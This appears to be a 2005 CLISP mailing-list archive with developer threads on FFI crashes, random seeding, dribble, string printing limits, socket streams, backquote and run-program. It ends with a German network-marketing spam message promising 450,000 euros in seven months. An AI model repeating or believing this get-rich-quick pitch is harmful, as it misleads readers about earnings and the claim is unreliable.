 %%     printf("#define GNU_GETTEXT\n");
 %%     printf("#ifndef COMPILE_STANDALONE\n");
 %%     printf("#include <libintl.h>\n");
 %%     printf("#endif\n");
 %%     printf("extern const char * clgettext (const char * msgid);\n");
-%%   #endif
 %%   export_def(GETTEXT);
+%% #else
+%%   export_def(GETTEXT(english));
 %% #endif
 
 # Fetch the message translations of a string: "CL String getTEXT"


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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-18 02:46:44 -0700]:
>>
>> Surendra Singhi <efuzzyone@netscape.net> writes:
>>
>>>  I did some further investigation into my problem, and it
>>> is really behaving weirdly. I will summarize the behavior below:
>
> COMMON-LISP-USER[1]> 1345
>  --> 1345
> what do I do to get a crash?

This problem occurs only on Windows XP with native version of clisp. There
seems to be no problem whatsoever on Windows 2000, or cygwin version of clisp
on XP.

This problem is not just related to use of handler-case, even creating an
object of a class, say with a code like:

    (make-instance 'complex-2)

in the lisp function (which was called from C) causes the crash.

But if I use the above class first and then use the wxCL code, it works fine. 

I tried to replicate this problem with a small dll created by me, but I was
unsuccessful.  

Thanks.

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Seems that your patch is included in CVS head now. I don't have
gettext related errors yet, but now I'm getting the following:

Configure findings:
  FFI:        yes (user requested: default)
  readline:   yes
  libsigsegv: yes
./makemake --with-dynamic-ffi  --win32gcc --with-module=3Drawsock
--srcdir=3D../src   > Makefile
cd ../ && make -f Makefile.devel src/configure
make[1]: Entering directory `/c/dev/cvstree/sourceforge/clisp/clisp'
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Surendra Singhi wrote:
>This problem occurs only on Windows XP with native version of clisp. =
There
>seems to be no problem whatsoever on Windows 2000, or cygwin version =
of clisp
>on XP.

>creating an object of a class, say with a code like:
>    (make-instance 'complex-2)
>in the lisp function (which was called from C) causes the crash.
>
>But if I use the above class first and then use the wxCL code,=20
>it works fine.=20

No idea what's wrong, but could you ensure clisp is living in the same =
thread in both cases, via calls to ext:process-id (which calls =
kernel32.dll:GetCurrentProcessId) -- maybe there's a similar functions =
for Thread-IDs -- from within the callback and in the normal REPL??

Afterwards, could you please inspect tests/ffi.tst and see how I define =
and use a callback to a Lisp function, define one to do something more =
convoluted in the callback than what the testsuite does now and call =
that?
The idea here is to have the FFI call a foreign function which is in =
fact a Lisp function, thus going through all the FFI call-out + call-in =
machinery in a more controlled manner than with arbitrary wxcl =
callbacks: it would only involve clisp-internal code, no foreign =
library.

Regards,
	J=F6rg H=F6hle.


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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-09-15 10:06:19 +0200]:
>
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> make: *** [../src/configure] Error 2

<http://clisp.cons.org/impnotes/faq.html#faq-autoconf>



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Thanks, it works now.


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Hello,
  When I start clisp-2.35, and do 

[1]> (random 1.0)
0.52319837

I get  a certain value, then when I exit clisp and again execute (random 1.0),
I get the same result and I think the same series of random numbers.

I think there should be some time element in initialising the random state of
the random number generator.

Thanks. 
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Date: Thu Sep 15 17:25:10 2005
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Surendra Singhi writes:
> Hello,
>   When I start clisp-2.35, and do 
> 
> [1]> (random 1.0)
> 0.52319837
> 
> I get  a certain value, then when I exit clisp and again execute (random 1.0),
> I get the same result and I think the same series of random numbers.
> 
> I think there should be some time element in initialising the random state of
> the random number generator.

The initial value of *random-state* is implementation dependant.
sbcl does the same as clisp.

If you want a specific behaviour, you must explicitely write:

   (setf *random-state* (make-random-state t))  ; to initialize to a random
                                                ; random state

or:

   (setf *random-state* (read-random-state-from-file "~/random-seed"))
                                    ; to initialize to a known random state


As you see, to initialize a random state to a specific seed, it's
harder than to initialize it to a random state.  So it seems a good
thing that implementations do it for us.  Otherwise we would have to
maintain seed files.



-- 
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Date: Thu Sep 15 18:49:18 2005
X-Original-Date: Thu, 15 Sep 2005 18:46:35 -0700

Pascal Bourguignon <pjb@informatimago.com> writes:

> Surendra Singhi writes:
>> Hello,
>>   When I start clisp-2.35, and do 
>> 
>> [1]> (random 1.0)
>> 0.52319837
>> 
>> I get  a certain value, then when I exit clisp and again execute (random 1.0),
>> I get the same result and I think the same series of random numbers.
>> 
>> I think there should be some time element in initialising the random state of
>> the random number generator.
>
> The initial value of *random-state* is implementation dependant.
> sbcl does the same as clisp.

>
>    (setf *random-state* (read-random-state-from-file "~/random-seed"))
>                                     ; to initialize to a known random state
>
Yes, thanks. Thats what I am currently doing.

> As you see, to initialize a random state to a specific seed, it's
> harder than to initialize it to a random state.  So it seems a good
> thing that implementations do it for us.  Otherwise we would have to
> maintain seed files.

I agree. I think this behavior should be changed.

I found this nice link on lisp random number generators design (I think its
a chapter from Steele's book).

http://www.cs.cmu.edu/Groups/AI/html/cltl/clm/node133.html

In the rationale section, the author(s) say that for 'executing the same
program many times in a reproducible manner' the user should create a file,
and store the state there. So, I think they must have assumed that
implementations will initialize themselves to different random state.

Regards.
-- 
Surendra Singhi
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Date: Thu Sep 15 18:59:07 2005
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Hello Joerg,

"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Surendra Singhi wrote:
>>This problem occurs only on Windows XP with native version of clisp. There
>>seems to be no problem whatsoever on Windows 2000, or cygwin version of clisp
>>on XP.
>
>>creating an object of a class, say with a code like:
>>    (make-instance 'complex-2)
>>in the lisp function (which was called from C) causes the crash.
>>
>>But if I use the above class first and then use the wxCL code, 
>>it works fine. 
>
> No idea what's wrong, but could you ensure clisp is living in the same thread in both cases, via calls to ext:process-id (which calls kernel32.dll:GetCurrentProcessId) -- maybe there's a similar functions for Thread-IDs -- from within the callback and in the normal REPL??
>
Thanks, I tried both process and thread, and it shows the same values, i.e.,
clisp is within the same thread in both the callback and normal REPL.

I will look at the ffi.tst and try if I can reproduce this problem in a
more controlled environment.

Thanks once again.

-- 
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Pascal Bourguignon <pjb@informatimago.com> writes:

> Surendra Singhi writes:
>> Hello,
>>   When I start clisp-2.35, and do 
>> 
>> [1]> (random 1.0)
>> 0.52319837
>> 
>> I get  a certain value, then when I exit clisp and again execute (random 1.0),
>> I get the same result and I think the same series of random numbers.
>> 
>> I think there should be some time element in initialising the random state of
>> the random number generator.
>
> The initial value of *random-state* is implementation dependant.
> sbcl does the same as clisp.
>
> If you want a specific behaviour, you must explicitely write:
>
>    (setf *random-state* (make-random-state t))  ; to initialize to a random
>                                                 ; random state
>
> or:
>
>    (setf *random-state* (read-random-state-from-file "~/random-seed"))
>                                     ; to initialize to a known random state
>
> As you see, to initialize a random state to a specific seed, it's
> harder than to initialize it to a random state.  So it seems a good
> thing that implementations do it for us.  Otherwise we would have to
> maintain seed files.

Oh, I misread and misunderstood it the first time. Sorry.

Never mind, I found a way of initializing the random number generator to random
seeds, using (setf *random-state* (make-random-state t))


Thanks.

-- 
Surendra Singhi
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Date: Fri Sep 16 07:05:30 2005
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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-09-15 20:14:45 -0700]:
>
> Never mind, I found a way of initializing the random number generator
> to random seeds, using (setf *random-state* (make-random-state t))

if you are absolutely sure that you do indeed want a new random seed on
each invocation, you can arrange for that by creating your own image:

$ clisp -norc -x '(saveinitmem "foo" :init-function (lambda () (setq *random-state* (make-random-state t))))'
$ clisp -norc -q -x '(random 1s0)'
0.0219803s0
$ clisp -norc -q -x '(random 1s0)'
0.0219803s0
$ clisp -norc -q -x '(random 1s0)'
0.0219803s0
$ clisp -norc -q -x '(random 1s0)'
0.0219803s0
$ clisp -norc -q -x '(random 1s0)'
0.0219803s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.246986s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.548386s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.71753s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.54362s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.43821s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.83001s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.335968s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.87574s0
$ clisp -M foo -norc -q -x '(random 1s0)'
0.750565s0
$


see <http://clisp.cons.org/impnotes/image.html>






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dribble behaves differently between clisp-2.33.2 and clisp-2.35.

E.g., give the command

   % clisp -q -i init.lisp -x '(test)'

where init.lisp contains only

   (defun test ()
     (delete-file "zz") (dribble "zz") (format t "hi~%") (dribble))

For clisp-2.33.2, all output goes to the file zz, which I think is the
correct behavior.

For clisp-2.35, the "hi" comes to the screen and zz contains only the
start and finish of dribble lines, e.g.,
   ;; Dribble of #<IO TERMINAL-STREAM> started 2005-09-16 14:26:53
   ;; Dribble of #<IO TERMINAL-STREAM> finished 2005-09-16 14:26:53

When I run either clisp interactively with

   % clisp -q -i init.lisp

and type (test), the output goes to file zz and the screen.

Is the above difference in behavior a bug or is dribble's behavior
implementation dependent?

I saw this same difference on two systems:

pi:
  Red Hat Enterprise Linux WS release 3 (Taroon Update 5)
  Linux pi 2.4.21-32.0.1.ELsmp #1 SMP Tue May 17 17:52:23 EDT 2005 i686
    i686 i386 GNU/Linux

pc18:
  Fedora Core release 4 (Stentz)
  Linux pc18 2.6.12-1.1447_FC4smp #1 SMP Fri Aug 26 20:57:13 EDT 2005
    i686 i686 i386 GNU/Linux

clisp version info is below.

Thanks.

----------------------------------------------------------------------


PI% clisp --version
WARNING: *FOREIGN-ENCODING*: reset to ASCII
GNU CLISP 2.33.2 (2004-06-02) (built 3296832306) (memory 3296832415)
Software: GNU C 3.2.3 20030502 (Red Hat Linux 3.2.3-34) ANSI C program
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER PC386 UNIX)
Installation directory: /home/olsson/pkg/clisp/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) pi.cs.ucdavis.edu [169.237.6.50]

----------------------------------------------------------------------
PI% clisp --version
GNU CLISP 2.35 (2005-08-29) (built 3335818953) (memory 3335819181)
Software: GNU C 3.2.3 20030502 (Red Hat Linux 3.2.3-52)
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a
libcallback.a -lreadline -lncurses -ldl  -L/usr/local/lib -lsigsegv
-lc -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
SPVW_MIXED TRIVIALMAP_MEMORY
Features:
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP
LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
GETTEXT
 UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp)
Installation directory: /home/olsson/pkg/clisp/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) pi.cs.ucdavis.edu [169.237.6.50]

----------------------------------------------------------------------
pc18:dribble [15] clisp --version
GNU CLISP 2.33.2 (2004-06-02) (built 3335895841) (memory 3335895933)
Software: GNU C 4.0.1 20050727 (Red Hat 4.0.1-5) ANSI C program
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER PC386 UNIX)
Installation directory: /home/olsson/pkg/clisp/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) pc18.cs.ucdavis.edu [169.237.5.62]

----------------------------------------------------------------------
pc18:~ [8] clisp --version
GNU CLISP 2.35 (2005-08-29) (built on hammer2.fedora.redhat.com)
Software: GNU C 4.0.1 20050727 (Red Hat 4.0.1-5)
gcc -W -Wswitch -Wcomment -Wpointer-arith -falign-functions=4
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-fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none
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Installation directory: /usr/lib/clisp/
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Have a look at the desired length reported in the error:

[253]>  (make-array system::string-dimension-limit :element-type 'character)

*** - string too long: desired length 4194304 exceeds the supported maximum
      length
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [254]> :q
[255]>  (make-array (1- system::string-dimension-limit) :element-type 'character)

*** - string too long: desired length 4194304 exceeds the supported maximum
      length
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ABORT          :R1      ABORT
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[257]>  (make-array (- system::string-dimension-limit 10) :element-type 'character)

*** - string too long: desired length 8386396 exceeds the supported maximum
      length
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [258]> :q


The problem is in the printer which cannot print big strings.  But
it's strange that for a string 10 charact less than the limit the need
of buffer space doubles.



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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-09-17 19:43:54 +0200]:
>
> Have a look at the desired length reported in the error:
>
> [253]>  (make-array system::string-dimension-limit :element-type 'character)
>
> *** - string too long: desired length 4194304 exceeds the supported maximum
>       length
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [254]> :q
> [255]>  (make-array (1- system::string-dimension-limit) :element-type 'character)
>
> *** - string too long: desired length 4194304 exceeds the supported maximum
>       length
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [256]> :q
>
> [257]>  (make-array (- system::string-dimension-limit 10) :element-type 'character)
>
> *** - string too long: desired length 8386396 exceeds the supported maximum
>       length

see <https://sourceforge.net/mailarchive/message.php?msg_id=12243498>
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Date: Mon Sep 19 16:06:05 2005
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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-09-17 19:43:54 +0200]:
> >
> > Have a look at the desired length reported in the error:
> >
> > [253]>  (make-array system::string-dimension-limit :element-type 'character)
> >
> > *** - string too long: desired length 4194304 exceeds the supported maximum
> >       length
> > The following restarts are available:
> > ABORT          :R1      ABORT
> > Break 1 [254]> :q
> > [255]>  (make-array (1- system::string-dimension-limit) :element-type 'character)
> >
> > *** - string too long: desired length 4194304 exceeds the supported maximum
> >       length
> > The following restarts are available:
> > ABORT          :R1      ABORT
> > Break 1 [256]> :q
> >
> > [257]>  (make-array (- system::string-dimension-limit 10) :element-type 'character)
> >
> > *** - string too long: desired length 8386396 exceeds the supported maximum
> >       length
> 
> see <https://sourceforge.net/mailarchive/message.php?msg_id=12243498>

Thanks, but this is not the problem.  I have not tried to create a
string greater than system::string-dimension-limit, on the contrary,
I've tried one byte less and ten bytes less.

The problem is that to print a string, clisp tries to allocate a
bigger string.  This is inefficient in general, and impossible in this
case.  In addition, there's this strange thing that for 10 bytes less,
it tries to allocate a string the double of the size.

If I don't let the REPL print the string, there's no problem:

[85]> (length (make-array (1- system::string-dimension-limit)
                          :element-type 'character))
4194303


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I am testing out trivial-http and trivial-sockets.  Very simple socket
code.  But, I get a strange stream.d error.  I have just downloaded
the most recent version of clisp, 9/21/2005.  My question, what do you
think?

*** - Internal error: statement in file "stream.d", line 13314 has been
      reached!!
      Please send the authors of the program a description how you produced
      this error!

Code is basically:

(defun read-all (hres)
  (print hres)
  ;; Get the last element, the stream
  (let ((stream (first (last hres))))
    (print stream)
    (do ((c (read-line stream) (read-line stream nil 'the-end)))
=09((eql c nil))
      (format t "~A~%" c))
    (close stream)))


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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2005-09-21 12:03:57 -0400]:
>
> (defun read-all (hres)
>   (print hres)
>   ;; Get the last element, the stream
>   (let ((stream (first (last hres))))
>     (print stream)
>     (do ((c (read-line stream) (read-line stream nil 'the-end)))
> 	((eql c nil))

this is incorrect: either (read-line stream nil nil) or (eq c 'the-end)

>       (format t "~A~%" c))
>     (close stream)))

what is STREAM?
how did you create it?

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CLHS cites no exceptional situation for function-lambda-expression. I
would accept NIL instead of an error...


[1]> (defun (setf a) (v a) (setf (car a) v))
(SETF A)
[2]> (function-lambda-expression (function (setf a)))
(LAMBDA (V A) (DECLARE (SYSTEM::IN-DEFUN (SETF A))) (BLOCK A (SETF (CAR A) V))) ;
#(NIL NIL NIL NIL ((DECLARATION XLIB::CLX-VALUES VALUES OPTIMIZE DECLARATION))) ;
(SETF A)
[3]> (compile '(setf a))
(SETF A) ;
NIL ;
NIL
[4]> (function-lambda-expression (function (setf a)))

*** - GET: (SETF A) is not a symbol
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.
ABORT          :R2      ABORT
Break 1 [5]> 
[6]> (print-bug-report-info)


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Date: Wed Sep 21 10:34:01 2005
X-Original-Date: Wed, 21 Sep 2005 13:32:18 -0400

#<IO UNBUFFERED SOCKET-STREAM CHARACTER www.google.com:80>

This is the stream, I created with the trivial-http library which uses
trivial-socket.  I haven't looked through that library code.

I will have to go back to my lisp docs, that better?
  (let ((stream (first (last hres))))
    (print stream)
    (do ((c (read-line stream nil nil) (read-line stream nil nil)))
=09((eq c nil))
      (format t "~A~%" c))
    (close stream)))

Same error.

On 9/21/05, Sam Steingold <sds@gnu.org> wrote:
> > * Berlin Brown <oreyva.oebja@tznvy.pbz> [2005-09-21 12:03:57 -0400]:
> >
> > (defun read-all (hres)
> >   (print hres)
> >   ;; Get the last element, the stream
> >   (let ((stream (first (last hres))))
> >     (print stream)
> >     (do ((c (read-line stream) (read-line stream nil 'the-end)))
> >       ((eql c nil))
>
> this is incorrect: either (read-line stream nil nil) or (eq c 'the-end)
>
> >       (format t "~A~%" c))
> >     (close stream)))
>
> what is STREAM?
> how did you create it?
>
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#<IO UNBUFFERED SOCKET-STREAM CHARACTER www.google.com:80>

This is the stream, I created with the trivial-http library which uses
trivial-socket.  I haven't looked through that library code.

I will have to go back to my lisp docs, that better?
  (let ((stream (first (last hres))))
    (print stream)
    (do ((c (read-line stream nil nil) (read-line stream nil nil)))
=09((eq c nil))
      (format t "~A~%" c))
    (close stream)))


On 9/21/05, Sam Steingold <sds@gnu.org> wrote:
> > * Berlin Brown <oreyva.oebja@tznvy.pbz> [2005-09-21 12:03:57 -0400]:
> >
> > (defun read-all (hres)
> >   (print hres)
> >   ;; Get the last element, the stream
> >   (let ((stream (first (last hres))))
> >     (print stream)
> >     (do ((c (read-line stream) (read-line stream nil 'the-end)))
> >       ((eql c nil))
>
> this is incorrect: either (read-line stream nil nil) or (eq c 'the-end)
>
> >       (format t "~A~%" c))
> >     (close stream)))
>
> what is STREAM?
> how did you create it?
>
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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2005-09-21 13:32:18 -0400]:
>
> #<IO UNBUFFERED SOCKET-STREAM CHARACTER www.google.com:80>
>
> This is the stream, I created with the trivial-http library which uses
> trivial-socket.  I haven't looked through that library code.
>
> I will have to go back to my lisp docs, that better?
>   (let ((stream (first (last hres))))
>     (print stream)
>     (do ((c (read-line stream nil nil) (read-line stream nil nil)))
> 	((eq c nil))
>       (format t "~A~%" c))
>     (close stream)))
>
> Same error.

wfm:

[1]> (setq s (socket-connect 80 "www.podval.org" :buffered nil))
#<IO UNBUFFERED SOCKET-STREAM CHARACTER www.podval.org:80>
[2]> (format s "GET / HTTP/1.0~2%")
NIL
[3]> (loop :for l = (read-line s nil nil) :while l :do (print l))

"HTTP/1.1 200 OK"
"Date: Wed, 21 Sep 2005 18:30:58 GMT"
"Server: Apache/2.0.54 (Fedora)"
"Last-Modified: Tue, 09 Apr 2002 05:08:40 GMT"
"ETag: \"8bd04-2b2-2d8a8600\""
"Accept-Ranges: bytes"
"Content-Length: 690"
"Connection: close"
"Content-Type: text/html; charset=UTF-8"
""
"<!doctype html public \"-//w3c//dtd html 4.0 transitional//en\">"
""
"<html>"
""
"<head>"
"   <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">
"
"   <title>Podval.org frontpage</title>"
"</head>"
""
"<body>"
"  <font color=\"#C0C0C0\" size=+4>"
"    podval<a style=\"{text-decoration: none}\" href=\"podval-history.html\">.</
a>org"
"  </font>"
""
"  <p>"
"   <a href=\"users.html\">Users</a>"
"  </p>"
""
"<p align=\"center\">"
" <a href=\"http://www.apache.org/\">"
"  <img src=\"/icons/apache_pb.gif\" width=\"259\" height=\"32\" alt=\"[ Powered
 by Apache ]\">"
" </a>"
" <a href=\"http://www.redhat.com/\">"
"  <img src=\"poweredby.png\" width=\"88\" height=\"31\" alt=\"[ Powered by Red
Hat Linux ]\">"
" </a>"
"</p>"
""
"</body>"
""
"</html>"
NIL
[4]>

(google closes the connection).
BTW, ":buffered nil" is a bad idea.

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I think I am on a busted Win2K install.  I can't figure it out

*** - Internal error: statement in file "stream.d", line 13314 has been
      reached!!
      Please send the authors of the program a description how you produced
      this error!

I will try it on WinXP, thanks.

Another question.  I have the 'clisp.exe' will launching that just
launch the 'base directory.  For example, I normally haven't been
using the options:

clisp.exe -K base

It launches fine without it, 'clisp.exe'

On 9/21/05, Sam Steingold <sds@gnu.org> wrote:
> > * Berlin Brown <oreyva.oebja@tznvy.pbz> [2005-09-21 13:32:18 -0400]:
> >
> > #<IO UNBUFFERED SOCKET-STREAM CHARACTER www.google.com:80>
> >
> > This is the stream, I created with the trivial-http library which uses
> > trivial-socket.  I haven't looked through that library code.
> >
> > I will have to go back to my lisp docs, that better?
> >   (let ((stream (first (last hres))))
> >     (print stream)
> >     (do ((c (read-line stream nil nil) (read-line stream nil nil)))
> >       ((eq c nil))
> >       (format t "~A~%" c))
> >     (close stream)))
> >
> > Same error.
>
> wfm:
>
> [1]> (setq s (socket-connect 80 "www.podval.org" :buffered nil))
> #<IO UNBUFFERED SOCKET-STREAM CHARACTER www.podval.org:80>
> [2]> (format s "GET / HTTP/1.0~2%")
> NIL
> [3]> (loop :for l =3D (read-line s nil nil) :while l :do (print l))
>
> "HTTP/1.1 200 OK"
> "Date: Wed, 21 Sep 2005 18:30:58 GMT"
> "Server: Apache/2.0.54 (Fedora)"
> "Last-Modified: Tue, 09 Apr 2002 05:08:40 GMT"
> "ETag: \"8bd04-2b2-2d8a8600\""
> "Accept-Ranges: bytes"
> "Content-Length: 690"
> "Connection: close"
> "Content-Type: text/html; charset=3DUTF-8"
> ""
> "<!doctype html public \"-//w3c//dtd html 4.0 transitional//en\">"
> ""
> "<html>"
> ""
> "<head>"
> "   <meta http-equiv=3D\"Content-Type\" content=3D\"text/html; charset=3D=
iso-8859-1\">
> "
> "   <title>Podval.org frontpage</title>"
> "</head>"
> ""
> "<body>"
> "  <font color=3D\"#C0C0C0\" size=3D+4>"
> "    podval<a style=3D\"{text-decoration: none}\" href=3D\"podval-history=
.html\">.</
> a>org"
> "  </font>"
> ""
> "  <p>"
> "   <a href=3D\"users.html\">Users</a>"
> "  </p>"
> ""
> "<p align=3D\"center\">"
> " <a href=3D\"http://www.apache.org/\">"
> "  <img src=3D\"/icons/apache_pb.gif\" width=3D\"259\" height=3D\"32\" al=
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>  by Apache ]\">"
> " </a>"
> " <a href=3D\"http://www.redhat.com/\">"
> "  <img src=3D\"poweredby.png\" width=3D\"88\" height=3D\"31\" alt=3D\"[ =
Powered by Red
> Hat Linux ]\">"
> " </a>"
> "</p>"
> ""
> "</body>"
> ""
> "</html>"
> NIL
> [4]>
>
> (google closes the connection).
> BTW, ":buffered nil" is a bad idea.
>
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-09-21 19:05:01 +0200]:
>
> [4]> (function-lambda-expression (function (setf a)))
>
> *** - GET: (SETF A) is not a symbol

just fixed this in the CVS.
thanks.

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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2005-09-21 14:50:20 -0400]:
>
> I think I am on a busted Win2K install.  I can't figure it out
>
> *** - Internal error: statement in file "stream.d", line 13314 has been
>       reached!!
>       Please send the authors of the program a description how you produced
>       this error!
>
> I will try it on WinXP, thanks.

I am on w2k and I do not see this.
please run under GDB and find out what GetLastError() is (see the sources).

> Another question.  I have the 'clisp.exe' will launching that just
> launch the 'base directory.  For example, I normally haven't been
> using the options:
>
> clisp.exe -K base
>
> It launches fine without it, 'clisp.exe'

I do not understand what you are trying to say.
Could you please state
1. what you are doing
2. what you expect
3. what you are getting
thanks!

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I don't know if this is useful to anyone other than me, but I have
just built Clisp under Terrasoft's YDL 4.0.1 on a Powerbook G4.

If anyone is interested let me know and I can post the distribution.

All the tests run fine, but I haven't used it yet (I figured if I waited
until I had tried it out properly, I'd never get around to sending it out).

Since what I know about make can be written on the pack of a postage stamp
with a magic marker, I only used step 12 of the unix installation:

         ./configure --with-module=rawsock --build build-dir

so there may be better builds; happy to do the work if someone wants to
tell me what to do.

S.

PS. Been using Clisp under Red Hat for a couple of years now. Thanks to
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> * Simon Parsons <cnefbaf@fpv.oebbxyla.phal.rqh> [2005-09-21 17:46:48 -0400]:
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> If anyone is interested let me know and I can post the distribution.

please post a URL to your distribution and I will place it in the CLISP
SF files area (with a proper credit).

BTW, did you install libsigsegv?

> Since what I know about make can be written on the pack of a postage stamp
> with a magic marker, I only used step 12 of the unix installation:
>
>          ./configure --with-module=rawsock --build build-dir

that's what I usually do - except that I would add
--with-module=bindings/linux
(and maybe zlib and pcre if you have them installed...)

> PS. Been using Clisp under Red Hat for a couple of years now. Thanks
> to everyone for making that possible.
welcome!


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Sam Steingold wrote:
>[1]> (setq s (socket-connect 80 "www.podval.org" :buffered nil))
>#<IO UNBUFFERED SOCKET-STREAM CHARACTER www.podval.org:80>
>[2]> (format s "GET / HTTP/1.0~2%")

Correct me if I'm wrong, but I believe HTTP still mandates CRLF termination in the header. Your code makes no visible provision for that (except for being run within MS-w2k, which may make clisp use that as the default line terminator for all file streams and sockets?).

I've seen web-servers reject HTTP headers using only UNIX-style LF termination (i.e. \n without \r\n).

Therefore, I recommend using :encoding ... :line-terminator :DOS for sending out MIME headers (with HTTP, SMTP and other protocols).

>"Server: Apache/2.0.54 (Fedora)"
Of course, Apache is liberal in what it accepts, and so does not insist on CRLF terminated lines.
Yet even Apache exhibits different response behaviour depending on whether CRLF is supplied or not! (Try an interactive session and observe how fast Apache responds to malformed requests).

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In thinlisp 1.0.1, there's a construct that can be reduced to:

[36]>  `(progn ,(let ((b '(a b c)) (d nil))
                  ``(,@',(if d `(the ,(second d)) '(progn)) ,,(car b))))
(PROGN (LIST (QUOTE) '(IF D (LIST 'THE (SECOND D)) '(PROGN)) A))

which doesn't give the exected result in clisp-2.35.  

They wanted something like:
 (PROGN (LIST (QUOTE (PROGN)) A)) 


sbcl-0.9.0 gives it:
 (PROGN (SB-IMPL::BACKQ-APPEND (QUOTE (PROGN)) (SB-IMPL::BACKQ-LIST A)))

gcl-2.6.7 gives it:
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cmucl-18e-pre2 gives it:
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[29]> (ext:RUN-PROGRAM "tar" :ARGUMENTS
        (LIST "-jcf" "/home/test.tar.bz2" "/home/test")
        :INPUT NIL :OUTPUT NIL :WAIT T)
tar: Removing leading `/' from member names
tar: /home/test/.emacs.d/auto-save-list: Cannot stat: Permission denied
tar: /home/test/.eshell/history: Cannot stat: Permission denied
tar: /home/test.tar.bz2: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
NIL
[30]> (ext:RUN-PROGRAM "true" :ARGUMENTS
        (LIST)
        :INPUT NIL :OUTPUT NIL :WAIT T)
0
[31]> (ext:RUN-PROGRAM "false" :ARGUMENTS
        (LIST)
        :INPUT NIL :OUTPUT NIL :WAIT T)
1


Why does ext:run-program return NIL for tar instead of the status?


By the way, I think it would be worthwhile to add a :error keyword to
run-program and run-shell-command to redirect stderr.


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-09-25 02:35:35 +0200]:
>
> [29]> (ext:RUN-PROGRAM "tar" :ARGUMENTS
>         (LIST "-jcf" "/home/test.tar.bz2" "/home/test")
>         :INPUT NIL :OUTPUT NIL :WAIT T)
> tar: Removing leading `/' from member names
> tar: /home/test/.emacs.d/auto-save-list: Cannot stat: Permission denied
> tar: /home/test/.eshell/history: Cannot stat: Permission denied
> tar: /home/test.tar.bz2: Cannot open: Permission denied
> tar: Error is not recoverable: exiting now
> NIL
> [30]> (ext:RUN-PROGRAM "true" :ARGUMENTS
>         (LIST)
>         :INPUT NIL :OUTPUT NIL :WAIT T)
> 0
> [31]> (ext:RUN-PROGRAM "false" :ARGUMENTS
>         (LIST)
>         :INPUT NIL :OUTPUT NIL :WAIT T)
> 1
>
>
> Why does ext:run-program return NIL for tar instead of the status?

clisp/src/pathname.d:8092

      VALUES1(((status & 0xFF) == 0000) /* process ended normally (without signal, without core-dump) ? */
             ? fixnum((status & 0xFF00) >> 8) /* yes -> exit-status as value: */
             : NIL); /* no -> NIL as value */


> By the way, I think it would be worthwhile to add a :error keyword to
> run-program and run-shell-command to redirect stderr.

PTC: http://www.cygwin.com/acronyms/#PTC
(see clisp/src/TODO:LAUNCH/RUN-PROGRAM)

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Achtung: Wenn Sie ein Skeptiker und für neue innovative Möglichkeiten nicht aufgeschlossen sind, dann sollten Sie diese Webseite verlassen!
Anderenfalls bewahren Sie sich einfach Ihr gesundes Maß an Misstrauen und starten Sie.


===============

That´s Business

===============

450.000 Euro
in 7 Monaten möglich!
Durch Network-Marketing ging mein Traum in Erfüllung!
Hallo, schön, dass Sie auf meiner Homepage vorbeischauen. Ich bin genauso wie Sie, im Internet auf dieses Programm aufmerksam geworden. Was mir hier sofort sympathisch war: ALLES wird sofort beschrieben, wie Sie leicht Geld verdienen können und Sie können SOFORT loslegen. (Anders wie bei verschiedenen Nebenjob-Anbietern im Internet, wo Sie erst einmal für viel Geld Informationen anfordern müssen, um nur zu erfahren worum es überhaupt geht...) 
Nehmen Sie sich ein paar Minuten Zeit und lesen Sie sich den Text unten in Ruhe einmal durch. Und Sie werden sehen WIE einfach man Geld verdienen kann. Und was mir persönlich auch sehr wichtig war: Es macht Spass!!! 
